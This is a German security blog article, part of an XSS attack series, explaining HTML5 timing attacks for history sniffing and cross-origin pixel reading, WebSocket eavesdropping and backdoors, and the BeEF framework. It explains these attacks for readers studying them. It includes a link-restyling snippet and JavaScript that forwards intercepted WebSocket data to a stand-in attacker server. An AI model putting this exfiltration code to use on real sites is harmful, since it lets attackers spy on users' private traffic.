Dipl.-Inform. Carsten Eilers

Paul Stone hat auf der Black Hat USA 2013 "Pixel Perfect Timing Attacks with HTML5" vorgestellt. Über JavaScript-basierte Timing-Angriffe konnte er sensitive Informationen anderer Domains ausspähen, ohne von der Same Origin Policy daran gehindert zu werden. Für die Angriffe hat er das requestAnimationFrame-API und SVG-Filter verwendet.

Über das requestAnimationFrame-API konnte zum Beispiel ermittelt werden, ob ein Link bereits besucht wurde oder nicht.

Internet Explorer und Firefox prüfen für jeden darzustellenden Link mit einer asynchronen Datenbank-Abfrage, ob er bereits besucht wurde oder nicht. Ist die Antwort nicht da, wenn der Link dargestellt werden soll, wird er als "nicht besucht" dargestellt. Wenn die Antwort dann da ist und der Link bereits besucht wurde, wird er entsprechend geändert. Chrome verwendet synchrone Datenbank-Abfragen und wartet auf die Antwort, bevor der Link dargestellt wird. Allerdings lässt sich eine Änderung der Darstellung erzwingen, indem über JavaScript das href-Attribut geändert und der style des Link-Elements "berührt" (aber nicht geändert) wird. Das "berühren" geschieht mit Code nach folgendem Muster:

<a href="http://www.ein-server.example" id="link1">Total egal was hier steht</a>

<script> 
   var el = document.getElementById('link1');
   el.href = 'http://www.ein-anderer-server.example';
   
   // Hier wird der style "berührt"
   el.style.color = 'red';
   el.style.color = ''; 
</script>

Das requestAnimationFrame-API erlaubt es, die Darstellungsänderung zu erkennen. Da inzwischen aber viele Grafikoperationen der GPU überlassen werden, sind die zu schnell, um sie zu erkennen. Paul Stone hat die Grafik deshalb ausgebremst, indem über die text-shadow-Property in CSS mehrere Schatten zum Text hinzugefügt wurde. Das Berechnen der Schatten dauert ziemlich lange, so dass dadurch auch die Darstellungsänderung der Links erkennbar wird.

Auch über die SVG-Filter konnte die History ausgespäht werden, indem besuchte Links erkannt wurden. Interessanter für einen Angreifer ist aber vermutlich eine andere Möglichkeit, Informationen auszuspähen: Über SVG-Filter können schwarze und weiße Pixel unterschieden werden, und das erlaubt das Erkennen von Bildern und über Optische Zeichenerkennung (OCR) sogar Texten fremder Domains.

Da die Timing-Unterschiede als Schwachstellen einzustufen sind, wurden sie an die Browser-Hersteller gemeldet und teilweise bereits behoben.

WebSockets ausspähen

Über XSS in den Browser eingeschleuster Schadcode kann die vom Client aufgebauten WebSocket-Verbindungen ausspähen. Einen entsprechenden PoC hat Jussi-Pekka Erkkilä entwickelt, von dem es auch eine Sicherheitsanalyse der HTML5-WebSockets gibt (Download als PDF).

Der JavaScript-Schadcode überschreibt dazu die Funktionen doSend() und/oder onMessage() mit eigenem Code, der die über WebSockets gesendeten und/oder empfangenen Daten dann zum Beispiel unterdrücken, manipulieren oder an den Server des Angreifers senden kann. Der folgende Beispiel-Code leitet die empfangenen Daten an den Server des Angreifers weiter:

function onMessage(evt) { 
   discloseWebsocketData(evt.data); 

   // bei Bedarf das tun, was die Webanwendung normalerweise tut,
   // um den Angriff zu verschleiern

   websocket.close();
}

function discloseWebsocketData(data) {
   // empfangene Daten an den Server des Angreifers senden

   var request = new XMLHttpRequest(); 
   var url = 'http://boeser-server.example/websocket-eavesdrop.php';
 
   if(request) {
      request.open('POST', url, true);
      request.onreadystatechange = function() {}; 
      request.send(data);
   }
}

WebSockets als Hintertür

Sergey Shekyan und Vaagn Toukharian haben auf der Black Hat USA 2012 das "Hacking with WebSockets" beschrieben. Vorgestellt wurden verschiedene Möglichkeiten, die WebSockets zu missbrauchen. Das Highlight: "Waldo", ein Proof-of-Concept, der eine Backdoor implementiert. Der in den Browser eingeschleuste Schadcode baut eine WebSocket-Verbindung zum Server des Angreifers auf und nimmt von dem dann Befehle entgegen.

Das Browser Exploitation Framework

Zum Abschluss der Serie über XSS-Angriffe darf der Klassiker für Angriffe auf und über den Webbrowser nicht fehlen: Das Browser Exploitation Framework BeEF. Das besteht aus zwei Teilen: Dem Client-Code, der zum Beispiel über eine XSS-Schwachstelle in den Webbrowser eingeschleust wird, und dem in Ruby geschriebenen Server, mit dem der infizierte Client (genannt Zombie) sich verbindet und von dem aus die Angriffe dann gestartet werden. Der Server wiederum besteht aus dem User Interface und dem Communication Server, der für die Kommunikation mit den Zombies zuständig ist.

Was das BeEF alles kann, erfahren Sie in der nächsten Folge.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Cross-Site Scripting im Überblick, Teil 1: Reflektiertes XSS

Cross-Site Scripting im Überblick, Teil 2: Persistentes XSS

Cross-Site Scripting im Überblick, Teil 3: Der MySpace-Wurm Samy

Angriffe über Cross-Site Scripting: Der Sourcecode des MySpace-Wurms Samy

Cross-Site Scripting im Überblick, Teil 4: DOM-basiertes XSS

Cross-Site Scripting im Überblick, Teil 5: Resident XSS

XSS-Angriffe, Teil 1: Informationen einschleusen

XSS-Angriffe, Teil 2: Cookies und Tastendrücke ausspähen

XSS-Angriffe, Teil 3: Zugangsdaten ausspähen

XSS-Angriffe, Teil 4: Ein Blick in die History, und dann auf ins LAN!

XSS-Angriffe, Teil 5: Ein Portscan (nicht nur) im LAN

XSS-Angriffe, Teil 6: Ein verbesserter Portscanner

XSS-Angriffe, Teil 7: Hindernisse beim JavaScript-Portscan beseitigen

XSS-Angriffe, Teil 8: Ein Portscan mit WebSockets oder Cross-Origin Requests

XSS-Angriffe, Teil 9: Der Router im Visier

XSS-Angriffe, Teil 10: Weitere Angriffe auf den Router

XSS-Angriffe, Teil 11: Unerwünschtes Firmware-Update für den Router

XSS-Angriffe, Teil 12: Browser-basierte Botnets

XSS-Angriffe, Teil 13: Fortgeschrittene Angriffe

XSS-Angriffe, Teil 14: Das Browser Exploitation Framework BeEF